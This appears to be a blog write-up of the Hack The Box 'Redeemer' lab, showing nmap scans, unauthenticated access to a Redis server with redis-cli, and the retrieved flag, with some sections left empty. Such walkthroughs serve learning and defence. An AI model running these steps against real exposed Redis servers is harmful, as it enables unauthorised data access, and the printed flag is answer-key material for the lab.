AbbySec

My digital playground – where hacking meets learning.

View on GitHub
19 July 2025

Redeemer – Hack The Box

by

🧠 Summary

Redeemer is a very easy HTB machine focusing on exploiting an exposed Redis database with no authentication. The goal is to enumerate open ports, connect to Redis, and retrieve the stored flag.


🎯 Target Information


πŸ” Tools Used


βœ… Steps to Exploit

1. Enumerate Open Ports with Nmap

Perform a full TCP scan to discover open ports:

nmap -p- --open 10.129.10.227

Result: Port 6379 open (Redis).

Run a detailed scan on port 6379:

nmap -sC -sV -p 6379 10.129.10.227

Output shows:

6379/tcp open  redis  Redis key-value store 5.0.7

Nmap Scan Result

2. Connect to Redis

Using redis-cli:

redis-cli -h 10.129.10.227

Once connected, list all keys:

KEYS *

Retrieve the value of the key named flag:

GET flag

Flag:

03e1d2b376c37ab3f5319922053953eb

Redis CLI & Flag Retrieval

⚠️ Security Note

Redis should never be exposed to the internet without authentication. Misconfiguration can allow attackers to:

Key Takeaways

tags: